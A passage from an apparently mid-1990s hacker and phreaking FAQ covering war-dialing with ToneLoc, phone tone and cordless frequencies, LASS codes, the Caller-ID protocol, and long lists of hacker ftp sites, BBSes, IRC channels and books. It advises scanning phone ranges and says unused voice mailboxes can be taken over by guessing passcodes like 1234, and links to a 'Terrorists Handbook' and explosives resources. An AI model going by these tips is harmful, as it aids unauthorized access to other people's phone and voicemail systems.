- 919 211 or 511 Durham, NC (10 min - 1 hour)
-
-
- 20. What is scanning?
-
- Scanning is dialing a large number of telephone numbers in the hope
- of finding interesting carriers (computers) or tones.
-
- Scanning can be done by hand, although dialing several thousand
- telephone numbers by hand is extremely boring and takes a long time.
-
- Much better is to use a scanning program, sometimes called a war
- dialer or a demon dialer. Currently, the best war dialer available to
- PC-DOS users is ToneLoc from Minor Threat and Mucho Maas. ToneLoc can
- be ftp'd from ftp.paranoia.com /pub/toneloc/.
-
- A war dialer will dial a range of numbers and log what it finds at
- each number. You can then only dial up the numbers that the war
- dialer marked as carriers or tones.
-
-
- 21. Is scanning illegal?
-
- Excerpt from: 2600, Spring 1990, Page 27:
-
- -BQ-
- In some places, scanning has been made illegal. It would be hard,
- though, for someone to file a complaint against you for scanning since
- the whole purpose is to call every number once and only once. It's
- not likely to be thought of as harassment by anyone who gets a single
- phone call from a scanning computer. Some central offices have been
- known to react strangely when people start scanning. Sometimes you're
- unable to get a dialtone for hours after you start scanning. But
- there is no uniform policy. The best thing to do is to first find out
- if you've got some crazy law saying you can't do it. If, as is
- likely, there is no such law, the only way to find out what happens is
- to give it a try.
- -EQ-
-
- It should be noted that a law making scanning illegal was recently
- passed in Colorado Springs, CO. It is now illegal to place a call
- in Colorado Springs without the intent to communicate.
-
-
- 22. Where can I purchase a lineman's handset?
-
- Contact East
- 335 Willow Street
- North Andover, MA 01845-5995
- (508)682-2000
-
- Jensen Tools
- 7815 S. 46th Street
- Phoenix, AZ 85044-5399
-
- Time Motion Tools
- 12778 Brookprinter Place
- Poway, CA 92064
- (619)679-0303
-
-
- 23. What are the DTMF frequencies?
-
- DTMF stands for Dual Tone Multi Frequency. These are the tones you
- get when you press a key on your telephone touchpad. The tone of the
- button is the sum of the column and row tones. The ABCD keys do not
- exist on standard telephones.
-
- 1209 1336 1477 1633
-
- 697 1 2 3 A
-
- 770 4 5 6 B
-
- 852 7 8 9 C
-
- 941 * 0 # D
-
-
- 24. What are the frequencies of the telephone tones?
-
- Type Hz On Off
- ---------------------------------------------------------------------
- Dial Tone 350 & 400 --- ---
- Busy Signal 480 & 620 0.5 0.5
- Toll Congestion 480 & 620 0.2 0.3
- Ringback (Normal) 440 & 480 2.0 4.0
- Ringback (PBX) 440 & 480 1.5 4.5
- Reorder (Local) 480 & 620 3.0 2.0
- Invalid Number 200 & 400
- Hang Up Warning 1400 & 2060 0.1 0.1
- Hang Up 2450 & 2600 --- ---
-
-
- 25. What are all of the * (LASS) codes?
-
- Local Area Signalling Services (LASS) and Custom Calling Feature
- Control Codes:
-
- (These appear to be standard, but may be changed locally)
-
- Service Tone Pulse/rotary Notes
- --------------------------------------------------------------------------
- Assistance/Police *12 n/a [1]
- Cancel forwarding *30 n/a [C1]
- Automatic Forwarding *31 n/a [C1]
- Notify *32 n/a [C1] [2]
- Intercom Ring 1 (..) *51 1151 [3]
- Intercom Ring 2 (.._) *52 1152 [3]
- Intercom Ring 3 (._.) *53 1153 [3]
- Extension Hold *54 1154 [3]
- Customer Originated Trace *57 1157
- Selective Call Rejection *60 1160 (or Call Screen)
- Selective Distinct Alert *61 1161
- Selective Call Acceptance *62 1162
- Selective Call Forwarding *63 1163
- ICLID Activation *65 1165
- Call Return (outgoing) *66 1166
- Number Display Blocking *67 1167 [4]
- Computer Access Restriction *68 1168
- Call Return (incoming) *69 1169
- Call Waiting disable *70 1170 [4]
- No Answer Call Transfer *71 1171
- Usage Sensitive 3 way call *71 1171
- Call Forwarding: start *72 or 72# 1172
- Call Forwarding: cancel *73 or 73# 1173
- Speed Calling (8 numbers) *74 or 74# 1174
- Speed Calling (30 numbers) *75 or 75# 1175
- Anonymous Call Rejection *77 1177 [5] [M: *58]
- Call Screen Disable *80 1160 (or Call Screen) [M: *50]
- Selective Distinct Disable *81 1161 [M: *51]
- Select. Acceptance Disable *82 1162
- Select. Forwarding Disable *83 1163 [M: *53]
- ICLID Disable *85 1165
- Call Return (cancel out) *86 1186 [6] [M: *56]
- Anon. Call Reject (cancel) *87 1187 [5] [M: *68]
- Call Return (cancel in) *89 1189 [6] [M: *59]
-
- Notes:
-
- [C1] - Means code used for Cellular One service
- [1] - for cellular in Pittsburgh, PA A/C 412 in some areas
- [2] - indicates that you are not local and maybe how to reach you
- [3] - found in Pac Bell territory; Intercom ring causes a distinctive
- ring to be generated on the current line; Hold keeps a call
- connected until another extension is picked up
- [4] - applied once before each call
- [5] - A.C.R. blocks calls from those who blocked Caller ID
- (used in C&P territory, for instance)
- [6] - cancels further return attempts
- [M: *xx] - alternate code used for MLVP (multi-line variety package)
- by Bellcore. It goes by different names in different RBOCs.
- In Bellsouth it is called Prestige. It is an arrangement of
- ESSEX like features for single or small multiple line groups.
-
- The reason for different codes for some features in MLVP is that
- call-pickup is *8 in MLVP so all *8x codes are reaasigned *5x
-
-
- 26. What frequencies do cordless phones operate on?
-
- Here are the frequencies for the first generation 46/49mhz phones.
- The new 900mhz cordless phones are not covered.
-
- Channel Handset Transmit Base Transmit
- ------- ---------------- -------------
- 1 49.670mhz 46.610mhz
- 2 49.845 46.630
- 3 49.860 46.670
- 4 49.770 46.710
- 5 49.875 46.730
- 6 49.830 46.770
- 7 49.890 46.830
- 8 49.930 46.870
- 9 49.990 46.930
- 10 49.970 46.970
-
-
- 27. What is Caller-ID?
-
- This FAQ answer is stolen from Rockewell:
-
- Calling Number Delivery (CND), better known as Caller ID, is a
- telephone service intended for residential and small business
- customers. It allows the called Customer Premises Equipment (CPE) to
- receive a calling party's directory number and the date and time of
- the call during the first 4 second silent interval in the ringing
- cycle.
-
- Parameters
- ~~~~~~~~~~
- The data signalling interface has the following characteristics:
-
- Link Type: 2-wire, simplex
- Transmission Scheme: Analog, phase-coherent FSK
- Logical 1 (mark) 1200 +/- 12 Hz
- Logical 0 (space) 2200 +/- 22 Hz
- Transmission Rate: 1200 bps
- Transmission Level: 13.5 +/- dBm into 900 ohm load
-
-
- Protocol
- ~~~~~~~~
- The protocol uses 8-bit data words (bytes), each bounded by a start
- bit and a stop bit. The CND message uses the Single Data Message
- format shown below.
-
- | Channel | Carrier | Message | Message | Data | Checksum |
- | Seizure | Signal | Type | Length | Word(s) | Word |
- | Signal | | Word | Word | | |
-
- Channel Siezure Signal
- ~~~~~~~~~~~~~~~~~~~~~~
- The channel seizure is 30 continuous bytes of 55h (01010101) providing
- a detectable alternating function to the CPE (i.e. the modem data
- pump).
-
- Carrier Signal
- ~~~~~~~~~~~~~~
- The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to
- condition the receiver for data.
-
- Message Type Word
- ~~~~~~~~~~~~~~~~~
- The message type word indicates the service and capability associated
- with the data message. The message type word for CND is 04h
- (00000100).
-
- Message Length Word
- ~~~~~~~~~~~~~~~~~~~
- The message length word specifies the total number of data words to
- follow.
-
- Data Words
- ~~~~~~~~~~
- The data words are encoded in ASCII and represent the following
- information:
-
- o The first two words represent the month
- o The next two words represent the day of the month
- o The next two words represent the hour in local military time
- o The next two words represent the minute after the hour
- o The calling party's directory number is represented by the
- remaining words in the data word field
-
- If the calling party's directory number is not available to the
- terminating central office, the data word field contains an ASCII "O".
- If the calling party invokes the privacy capability, the data word
- field contains an ASCII "P".
-
- Checksum Word
- ~~~~~~~~~~~~~
- The Checksum Word contains the twos complement of the modulo 256 sum
- of the other words in the data message (i.e., message type, message
- length, and data words). The receiving equipment may calculate the
- modulo 256 sum of the received words and add this sum to the reveived
- checksum word. A result of zero generally indicates that the message
- was correctly received. Message retransmission is not supported.
-
- Example CNS Single Data Message
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- An example of a received CND message, beginning with the message type
- word, follows:
-
- 04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51
-
- 04h= Calling number delivery information code (message type word)
- 12h= 18 decimal; Number of data words (date,time, and directory
- number words)
- ASCII 30,39= 09; September
- ASCII 33,30= 30; 30th day
- ASCII 31,32= 12; 12:00 PM
- ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM)
- ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling
- party's directory number
- 51h= Checksum Word
-
- Data Access Arrangement (DAA) Requirements
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- To receive CND information, the modem monitors the phone line between
- the first and second ring bursts without causing the DAA to go off
- hook in the conventional sense, which would inhibit the transmission
- of CND by the local central office. A simple modification to an
- existing DAA circuit easily accomplishes the task.
-
- Modem Requirements
- ~~~~~~~~~~~~~~~~~~
- Although the data signalling interface parameters match those of a
- Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A
- V.23 1200 bps modem receiver may be used to demodulate the Bell 202
- signal. The ring indicate bit (RI) may be used on a modem to indicate
- when to monitor the phone line for CND information. After the RI bit
- sets, indicating the first ring burst, the host waits for the RI bit
- to reset. The host then configures the modem to monitor the phone
- line for CND information.
-
- Signalling
- ~~~~~~~~~~
- According to Bellcore specifications, CND signalling starts as early
- as 300 mS after the first ring burst and ends at least 475 mS before
- the second ring burst
-
- Applications
- ~~~~~~~~~~~~
- Once CND information is received the user may process the information
- in a number of ways.
-
- 1. The date, time, and calling party's directory number can be
- displayed.
-
- 2. Using a look-up table, the calling party's directory number can be
- correlated with his or her name and the name displayed.
-
- 3. CND information can also be used in additional ways such as for:
-
- a. Bulletin board applications
- b. Black-listing applications
- c. Keeping logs of system user calls, or
- d. Implementing a telemarketing data base
-
- References
- ~~~~~~~~~~
- For more information on Calling Number Delivery (CND), refer to
- Bellcore publications TR-TSY-000030 and TR-TSY-000031.
-
- To obtain Bellcore documents contact:
-
- Bellcore Customer Service
- 60 New England Avenue, Room 1B252
- Piscataway, NJ 08834-4196
- (908) 699-5800
-
-
- 28. What is a PBX?
-
- A PBX is a Private Branch Exchange. A PBX is a small telephone switch
- owned by a company or organization. Let's say your company has a
- thousand employees. Without a PBX, you would need a thousand phone
- lines. However, only 10% of your employees are talking on the phone
- at one time. What if you had a computer that automatically found an
- outside line every time one of your employees picked up the telephone.
- With this type of system, you could get by with only paying for one
- hundred phone lines. This is a PBX.
-
-
- 29. What is a VMB?
-
- A VMB is a Voice Mail Box. A VMB is a computer that acts as an
- answering machine for hundreds or thousands of users. Each user will
- have their own Voice Mail Box on the system. Each mail box will have
- a box number and a pass code.
-
- Without a passcode, you will usually be able to leave messages to
- users on the VMB system. With a passcode, you can read messages and
- administer a mailbox. Often, mailboxes will exist that were created
- by default or are no longer used. These mailboxes may be taken over
- by guessing their passcode. Often the passcode will be the mailbox
- number or a common number such as 1234.
-
-
-
-
-
- Section C: Resources
- ~~~~~~~~~~~~~~~~~~~~
-
- 01. What are some ftp sites of interest to hackers?
-
- N 198.69.103.23 (Mac)
- N aeneas.mit.edu
- alex.sp.cs.cmu.edu /links/security (Misc)
- N alife.santafe.edu
- aql.gatech.edu /pub (40Hex)
- N asylum.sf.ca.us
- athena-dist.mit.edu /pub/ATHENA (Athena Project)
- N atlantis.utmb.edu
- bellcore.com (Bellcore)
- camelot.usc.edu /pub/cellular/DDIinfodemo (Cellular)
- cert.org (CERT)
- N ciac.llnl.gov
- coast.cs.purdue.edu /pub (Security/COAST)
- N csrc.ncsl.nist.gov
- dartmouth.edu /pub/security (Security)
- N dg-rtp.dg.com
- N ds.internic.net
- N enlow.com
- freeside.com (Phrack)
- ftp.3com.com /mirrors/zip (ZipCrypt)
- ftp.3com.com /Orange-Book (Orange Book)
- N ftp.acns.nwu.edu
- N ftp.alantec.com
- ftp.armory.com /pub/user/kmartind (H/P)
- N ftp.armory.com /pub/user/swallow
- N ftp.c3.lanl.gov
- N ftp.cc.rochester.edu
- N ftp.cert.dfn.de (FIRST)
- ftp.cic.net /pub/e-serials/alphabetic/p/phrack (Zines)
- N ftp.cisco.com
- ftp.clark.net /pub/jcase (H/P)
- ftp.cnam.fr
- ftp.commerce.net /pubs/standards/drafts/shttp.txt(Secure HyperText)
- N ftp.cs.colorado.edu
- N ftp.cs.ruu.nl
- ftp.cs.uwm.edu /pub/comp-privacy (Privacy Digest)
- N ftp.cs.vu.nl
- N ftp.cs.yale.edu
- ftp.csl.sri.com /pub/nides (SRI)
- ftp.csua.berkeley.edu /pub/cypherpunks (Crypto)
- N ftp.cyberspace.com /pub/archive/defcon (PhoneTag)
- N ftp.delmarva.com
- N ftp.dsi.unimi.it
- N ftp.ee.lbl.gov
- U ftp.eff.org /pub/Publications/CuD (EFF)
- ftp.elelab.nsc.co.jp /pub/security (Security)
- ftp.etext.org (Etext)
- U ftp.fc.net /pub/defcon (DefCon)
- N ftp.fc.net /pub/defcon/BBEEP (BlueBeep)
- N ftp.fh-berlin.de
- N ftp.foobar.com
- N ftp.funet.fi
- ftp.gate.net /pub/users/laura
- ftp.gate.net /pub/users/wakko
- ftp.greatcircle.com /pub/firewalls (Firewalls)
- ftp.halcyon.com /pub/cud (Zines)
- ftp.IEunet.ie /pub/security (Security)
- N ftp.ifi.uio.no
- N ftp.info.fundp.ac.be
- N ftp.informatik.uni-hamburg.de
- ftp.inoc.dl.nec.com /pub/security (Security)
- N ftp.isi.edu
- U ftp.llnl.gov /pub (CIAC)
- N ftp.lysator.liu.se
- N ftp.mcs.com /mcsnet.users/crisadm (Virii)
- N ftp.microserve.net /ppp-pop/strata/mac (Mac)
- ftp.near.net /security/archives/phrack (Zines)
- N ftp.nec.com
- ftp.netcom.com /pub/br/bradleym (Virii)
- N ftp.netcom.com /pub/da/daemon9
- ftp.netcom.com /pub/va/vandal (DnA)
- ftp.netcom.com /pub/zz/zzyzx (H/P)
- N ftp.netsys.com
- ftp.ocs.mq.edu.au /PC/Crypt (Crypto)
- ftp.paranoia.com /pub/toneloc/tl110.zip (ToneLoc)
- N ftp.pop.psu.edu
- ftp.primus.com /pub/armchair (Phoney)
- ftp.primus.com /pub/security (Security)
- N ftp.psy.uq.oz.au
- ftp.rahul.net /pub/lps (Home of the FAQ)
- N ftp.sert.edu.au
- N ftp.sgi.com
- ftp.std.com /archives/alt.locksmithing (Locksmithing)
- ftp.std.com /obi/Mischief/ (MIT Guide to Locks)
- ftp.std.com /obi/Phracks (Zines)
- ftp.sunet.se /pub/network/monitoring (Ethernet sniffers)
- ftp.sura.net /pub/security (SURAnet)
- N ftp.technet.sg
- ftp.tis.com /pub (TIS)
- N ftp.uspto.gov
- ftp.uu.net /doc/literary/obi/Phracks (Zines)
- N ftp.uwp.edu (Copy protection)
- N ftp.vis.colostate.edu
- N ftp.vix.com
- N ftp.vortex.com
- ftp.warwick.ac.uk /pub/cud (Zines)
- ftp.win.tue.nl /pub/security (Security)
- ftp.winternet.com /users/craigb (H/P)
- ftp.wustl.edu /doc/EFF (EFF)
- furmint.nectar.cs.cmu.edu /security (Crypto)
- garbo.uwasa.fi /pc/crypt (Crypto)
- N gumby.dsd.trw.com
- N hack-this.pc.cc.cmu.edu (Back again!)
- N hplyot.obspm.fr
- N info.mcs.anl.gov
- N jerico.usc.edu
- lcs.mit.edu /telecom-archives (Telecom archives)
- lod.amaranth.com (Legion of Doom)
- N l0pht.com (The L0pht)
- N mac.archive.umich.edu
- mary.iia.org /pub/users/patriot (Misc)
- N monet.ccs.itd.umich.edu
- net.tamu.edu /pub/security/TAMU (Security)
- net23.com /pub (Max Headroom)
- nic.ddn.mil /scc (DDN Security)
- nic.funet.fi /pub/doc/cud (Zines)
- N oak.oakland.edu
- paradox1.denver.colorado.edu /anonymous/text-files/pyrotechnics (Pyro)
- N parcftp.xerox.com
- pyrite.rutgers.edu /pub/security (Security)
- relay.cs.toronto.edu /doc/telecom-archives (Telecom)
- rena.dit.co.jp /pub/security (Security)
- research.att.com /dist/internet_security (AT&T)
- ripem.msu.edu /pub/crypt (Ripem)
- rs1.rrz.uni-koeln.de (Wordlists)
- rtfm.mit.edu (Etext)
- rtfm.mit.edu /pub/usenet-by-group (Usenet FAQ's)
- sable.ox.ac.uk (Wordlists)
- N samadams.princeton.edu
- scss3.cl.msu.edu /pub/crypt (Crypto)
- N sierra.stanford.edu
- spy.org (CSC)
- suburbia.apana.org.au /pub/unix/security (Security)
- N sunsolve1.sun.com
- N tam.cs.ucdavis.edu
- N technion.ac.il
- theta.iis.u-tokyo.ac.jp /pub1/security (Security)
- N thumper.bellcore.com
- titania.mathematik.uni-ulm.de /pub/security (Security)
- N toxicwaste.mit.edu /pub/rsa129/README (Breaking RSA)
- uceng.uc.edu /pub/kerberos.documentation (Kerberos)
- N ugle.unit.no
- N vic.cc.purdue.edu
- N whacked.l0pht.com (Mac + H/P)
- wimsey.bc.ca /pub/crypto (Crypto)
-
-
- 02. What are some fsp sites of interest to hackers?
-
- Third Stone From the Sun 132.241.180.91 6969
-
-
- 03. What are some newsgroups of interest to hackers?
-
- alt.2600 Do it 'til it hertz
- alt.2600.hope.tech Technology concerns for Hackers on Planet Earth 1994
- alt.cellular
- N alt.cellular-phone-tech
- N alt.comp.virus
- alt.cyberpunk High-tech low-life.
- alt.cyberspace Cyberspace and how it should work.
- alt.dcom.telecom Discussion of telecommunications technology
- alt.engr.explosives [no description available]
- alt.hackers Descriptions of projects currently under development
- alt.locksmithing You locked your keys in *where*?
- alt.hackers.malicious The really bad guys - don't take candy from them
- N alt.ph.uk
- alt.privacy.anon-server Tech. & policy matters of anonymous contact servers
- alt.radio.pirate Hide the gear, here comes the magic station-wagons.
- alt.radio.scanner Discussion of scanning radio receivers.
- N alt.satellite.tv.europe
- alt.security Security issues on computer systems
- alt.security.index Pointers to good stuff in misc.security (Moderated)
- alt.security.keydist Exchange of keys for public key encryption systems
- alt.security.pgp The Pretty Good Privacy package
- alt.security.ripem A secure email system illegal to export from the US
- comp.dcom.cellular [no description available]
- comp.dcom.telecom Telecommunications digest (Moderated)
- comp.dcom.telecom.tech [no description available]
- comp.org.cpsr.announce Computer Professionals for Social Responsibility
- comp.org.cpsr.talk Issues of computing and social responsibility
- comp.org.eff.news News from the Electronic Frontiers Foundation
- comp.org.eff.talk Discussion of EFF goals, strategies, etc.
- comp.protocols.kerberos The Kerberos authentification server
- comp.protocols.tcp-ip TCP and IP network protocols
- comp.risks Risks to the public from computers & users
- comp.security.announce Announcements from the CERT about security
- comp.security.misc Security issues of computers and networks
- comp.security.unix Discussion of Unix security
- comp.virus Computer viruses & security (Moderated)
- de.org.ccc Mitteilungen des CCC e.V.
- misc.security Security in general, not just computers (Moderated)
- rec.pyrotechnics Fireworks, rocketry, safety, & other topics
- rec.radio.scanner [no description available]
- rec.video.cable-tv Technical and regulatory issues of cable television
- sci.crypt Different methods of data en/decryption
-
-
- 04. What are some telnet sites of interest to hackers?
-
- ntiabbs.ntia.doc.gov (NTIA)
- N l0pht.com (The L0pht)
- N sfpg.gcomm.com (The Floating Pancreas)
- U telnet lust.isca.uiowa.edu 2600 (underground bbs) (temporarily down)
-
-
- 05. What are some gopher sites of interest to hackers?
-
- ba.com (Bell Atlantic)
- csrc.ncsl.nist.gov (NIST Security Gopher)
- gopher.acm.org (SIGSAC (Security, Audit & Control))
- gopher.cpsr.org (Computer Professionals for Social Responsibility)
- gopher.cs.uwm.edu
- gopher.eff.org (Electonic Frontier Foundation)
- gw.PacBell.com (Pacific Bell)
- iitf.doc.gov (NITA -- IITF)
- oss.net (Open Source Solutions)
- spy.org (Computer Systems Consulting)
- wiretap.spies.com (Wiretap)
-
-
- 06. What are some World wide Web (WWW) sites of interest to hackers?
- N http://alumni.caltech.edu/~dank/isdn/ (ISDN)
- http://aset.rsoc.rockwell.com (NASA/MOD AIS Security)
- http://aset.rsoc.rockwell.com/exhibit.html (Tech. for Info Sec)
- N http://att.net/dir800 (800 directory)
- http://ausg.dartmouth.edu/security.html (Security)
- http://cs.purdue.edu/coast/coast.html (Coast)
- http://csrc.ncsl.nist.gov (NIST)
- U http://dhp.com/~pluvius
- U http://dfw.net/~aleph1 (Eubercrackers)
- http://draco.centerline.com:8080/~franl/crypto.html (Crypto)
- http://everest.cs.ucdavis.edu/Security.html (Security)
- http://everest.cs.ucdavis.edu/slides/slides.html(Security Lab Slides)
- http://ezinfo.ethz.ch/ETH/D-REOK/fsk/fsk_homepage.html (CSSCR)
- http://first.org (FIRST)
- http://ftp.tamu.edu/~abr8030/security.html (Security)
- http://hightop.nrl.navy.mil/potpourri.html (Security)
- http://hightop.nrl.navy.mil/rainbow.html (Rainbow Books)
- N http://ice-www.larc.nasa.gov/ICE/papers/hacker-crackdown.html (Sterling)
- N http://ice-www.larc.nasa.gov/ICE/papers/nis-requirements.html (ICE NIS)
- http://info.bellcore.com/BETSI/betsi.html (Betsi)
- http://infosec.nosc.mil/infosec.html (SPAWAR INFOSEC)
- http://l0pht.com (The l0pht)
- N http://l0pht.com/~oblivion/IIRG.html (Phantasy Magazine)
- N http://mindlink.jolt.com (The Secrets of LockPicking)
- http://mls.saic.com (SAIC MLS)
- http://naic.nasa.gov/fbi/FBI_homepage.html (FBI Homepage)
- http://nasirc.hq.nasa.gov (NASA ASIRC)
- http://ophie.hughes.american.edu/~ophie
- N http://ripco.com:8080/~glr/glr.html (Full Disclosure)
- N http://spy.org (CSC)
- http://tansu.com.au/Info/security.html (Comp and Net Security)
- http://the-tech.mit.edu (LaMacchia case info)
- N http://ucs.orst.edu:8001/mintro.html (Micro Power Broadcasting)
- http://wintermute.itd.nrl.navy.mil/5544.html (Network Security)
- http://www.aads.net (Ameritech)
- http://www.alw.nih.gov/WWW/security.html (Unix Security)
- http://www.artcom.de/CCC (CCC Homepage)
- http://www.aspentec.com/~frzmtdb/fun/hacker.html
- N http://www.aus.xanadu.com:70/1/EFA (EFF Australia)
- http://www.ba.com (Bell Atlantic)
- http://www.beckman.uiuc.edu/groups/biss/VirtualLibrary/xsecurity.html(X-Win)
- http://www.bell.com (MFJ Task Force)
- http://www.bellcore.com/SECURITY/security.html (Bellcore Security Products)
- http://www.brad.ac.uk/~nasmith/index.html
- http://www.bst.bls.com (BellSouth)
- http://www.c3.lanl.gov/~mcn (Lanl)
- N http://www.cert.dfn.de/ (German First Team)
- http://www.commerce.net/information/standards/drafts/shttp.txt (HyperText)
- http://www.contrib.andrew.cmu.edu:8001/usr/dscw/home.html
- http://www.cpsr.org/home (CPSR)
- N http://www.cs.tufts.edu/~mcable/cypher/alerts/alerts.html (Cypherpunk)
- N http://www.cs.tufts.edu/~mcable/HackerCrackdown (Hacker Crackdown)
- http://www.cs.umd.edu/~lgas
- http://www.cs.cmu.edu:8001/afs/cs.cmu.edu/user/bsy/www/sec.html (Security)
- http://www.csd.harris.com/secure_info.html (Harris)
- http://www.csl.sri.com (SRI Computer Science Lab)
- N http://www.cybercafe.org/cybercafe/pubtel/pubdir.html (CyberCafe)
- http://www.datafellows.fi (Data Fellows)
- http://www.delmarva.com/raptor/raptor.html (Raptor Network Isolator)
- http://www.demon.co.uk/kbridge (KarlBridge)
- http://www.digicash.com/ecash/ecash-home.html (Digital Cash)
- http://www.digital.com/info/key-secure-index.html(Digital Secure Systems)
- http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html(Bugtraq)
- http://www.eecs.nwu.edu/~jmyers/ids/index.html (Intrusion Detection Systems)
- N http://www.eff.org/papers.html (EFF)
- http://www.engin.umich.edu/~jgotts/boxes.html (Box info)
- U http://www.engin.umich.edu/~jgotts/underground/hack-faq.html(This document)
- http://www.ensta.fr/internet/unix/sys_admin (System administration)
- N http://www.etext.org/Zines/ (Zines)
- http://www.fc.net/defcon (DefCon)
- N http://www.fedworld.gov (Federal Government)
- N http://www.first.org/first/ (FIRST)
- N http://www.getnet.com/crak or (CRAK Software)
- http://www.greatcircle.com (Great Circle Associates)
- http://www.hpcc.gov/blue94/section.4.6.html (NSA)
- http://www.ic.gov (The CIA)
- N http://www.indirect.com/www/johnk/ (CRAK Software)
- http://www.lerc.nasa.gov/Unix_Team/Dist_Computing_Security.html (Security)
- http://www.lysator.liu.se:7500/terror/thb_title.html (Terrorists Handbook)
- http://www.lysator.liu.se:7500/mit-guide/mit-guide.html (Lockpicking Guide)
- N http://www.mpr.ca/ (MPR Teltech Ltd)
- http://www.net23.com (Max Headroom)
- http://www.nist.gov (NIST)
- N http://www.ntt.jp (Nippon Telephone)
- http://www.pacbell.com (Pacific Bell)
- http://www.paranoia.com/mthreat (ToneLoc)
- http://www.pegasus.esprit.ec.org/people/arne/pgp.html (PGP)
- http://www.phantom.com/~king (Taran King)
- N http://www.primenet.com/~kludge/haqr.html (Kludge)
- U http://www.quadralay.com/www/Crypt/Crypt.html (Quadralay Cryptography)
- N http://www.qualcomm.com/cdma/wireless.html (Qualcomm CDMA)
- http://www.research.att.com (AT&T)
- http://www.rsa.com (RSA Data Security)
- http://www.satelnet.org/~ccappuc
- http://www.service.com/cm/uswest/usw1.html (USWest)
- http://www.shore.net/~oz/welcome.html (Hack TV)
- http://www.spy.org (Computer Systems Consulting)
- http://www.sri.com (SRI)
- http://www.tansu.com.au/Info/security.html (Security Reference Index)
- http://www.tis.com (Trusted Information Systems)
- http://www.tri.sbc.com (Southwestern Bell)
- http://www.uci.agh.edu.pl/pub/security (Security)
- http://www.umcc.umich.edu/~doug/virus-faq.html (Virus)
- N http://www.usfca.edu/crackdown/crack.html (Hacker Crackdown)
- http://www.wam.umd.edu/~ankh/Public/devil_does_unix
- http://www.wiltel.com (Wiltel)
- N http://www.winternet.com/~carolann/dreams.html
- http://www.wired.com (Wired Magazine)
-
-
- 07. What are some IRC channels of interest to hackers?
-
- #2600
- #cellular
- #hack
- #phreak
- #linux
- #realhack
- #root
- #unix
- #warez
-
-
- 08. What are some BBS's of interest to hackers?
-
- N Rune Stone (203)832-8441
- Hacker's Haven (303)343-4053
- Independent Nation (315)656-4179
- N Ut0PiA (315)656-5135
- underworld_1994.com (514)683-1894
- Digital Fallout (516)378-6640
- Alliance Communications (612)251-8596
- N Maas-Neotek (617)855-2923
- Apocalypse 2000 (708)676-9855
- K0dE Ab0dE (713)579-2276
- fARM R0Ad 666 (713)855-0261
-
-
- 09. What are some books of interest to hackers?
-
- General Computer Security
- ~~~~~~~~~~~~~~~~~~~~~~~~~
- Computer Security Basics
- Author: Deborah Russell and G.T. Gengemi Sr.
- Publisher: O'Reilly & Associates, Inc.
- Copyright Date: 1991
- ISBN: 0-937175-71-4
-
- This is an excellent book. It gives a broad overview of
- computer security without sacrificing detail. A must read for
- the beginning security expert.
-
- Computer Security Management
- Author: Karen Forcht
- Publisher: Boyd and Fraser
- Copyright Date: 1994
- ISBN: 0-87835-881-1
-
- Information Systems Security
- Author: Philip Fites and Martin Kratz
- Publisher: Van Nostrad Reinhold
- Copyright Date: 1993
- ISBN: 0-442-00180-0
-
- Computer Related Risks
- Author: Peter G. Neumann
- Publisher: Addison-Wesley
- Copyright Date: 1995
- ISBN: 0-201-55805-X
-
- Computer Security Management
- Author: Karen Forcht
- Publisher: boyd & fraser publishing company
- Copyright Date: 1994
- ISBN: 0-87835-881-1
-
- N The Stephen Cobb Complete Book of PC and LAN Security
- Author: Stephen Cobb
- Publisher: Windcrest Books
- Copyright Date: 1992
- ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback)
-
- N Security in Computing
- Author: Charles P. Pfleeger
- Publisher: Prentice Hall
- Copyright Date: 1989
- ISBN: 0-13-798943-1.
-
- N Building a Secure Computer System
- Author: Morrie Gasser
- Publisher: Van Nostrand Reinhold Co., New York.
- Copyright Date:
- ISBN: 0-442-23022-2
-
- N Modern Methods for Computer Security
- Author: Lance Hoffman
- Publisher: Prentice Hall
- Copyright Date: 1977
- ISBN:
-
- N Windows NT 3.5 Guidelines for Security, Audit and Control
- Author:
- Publisher: Microsoft Press
- Copyright Date:
- ISBN: 1-55615-814-9
-
-
- Unix System Security
- ~~~~~~~~~~~~~~~~~~~~
- Practical Unix Security
- Author: Simson Garfinkel and Gene Spafford
- Publisher: O'Reilly & Associates, Inc.
- Copyright Date: 1991
- ISBN: 0-937175-72-2
-
- Finally someone with a very firm grasp of Unix system security
- gets down to writing a book on the subject. Buy this book.
- Read this book.
-
- Firewalls and Internet Security
- Author: William Cheswick and Steven Bellovin
- Publisher: Addison Wesley
- Copyright Date: 1994
- ISBN: 0-201-63357-4
-
- Unix System Security
- Author: Rik Farrow
- Publisher: Addison Wesley
- Copyright Date: 1991
- ISBN: 0-201-57030-0
-
- Unix Security: A Practical Tutorial
- Author: N. Derek Arnold
- Publisher: McGraw Hill
- Copyright Date: 1993
- ISBN: 0-07-002560-6
-
- Unix System Security: A Guide for Users and Systems Administrators
- Author: David A. Curry
- Publisher: Addison-Wesley
- Copyright Date: 1992
- ISBN: 0-201-56327-4
-
- Unix System Security
- Author: Patrick H. Wood and Stephen G. Kochan
- Publisher: Hayden Books
- Copyright Date: 1985
- ISBN: 0-672-48494-3
-
- Unix Security for the Organization
- Author: Richard Bryant
- Publisher: Sams
- Copyright Date: 1994
- ISBN: 0-672-30571-2
-
-
- Network Security
- ~~~~~~~~~~~~~~~~
- Network Security Secrets
- Author: David J. Stang and Sylvia Moon
- Publisher: IDG Books
- Copyright Date: 1993
- ISBN: 1-56884-021-7
-
- Not a total waste of paper, but definitely not worth the
- $49.95 purchase price. The book is a rehash of previously
- published information. The only secret we learn from reading
- the book is that Sylvia Moon is a younger woman madly in love
- with the older David Stang.
-
- Complete Lan Security and Control
- Author: Peter Davis
- Publisher: Windcrest / McGraw Hill
- Copyright Date: 1994
- ISBN: 0-8306-4548-9 and 0-8306-4549-7
-
- Network Security
- Author: Steven Shaffer and Alan Simon
- Publisher: AP Professional
- Copyright Date: 1994
- ISBN: 0-12-638010-4
-
-
- Cryptography
- ~~~~~~~~~~~~
- Applied Cryptography: Protocols, Algorithms, and Source Code in C
- Author: Bruce Schneier
- Publisher: John Wiley & Sons
- Copyright Date: 1994
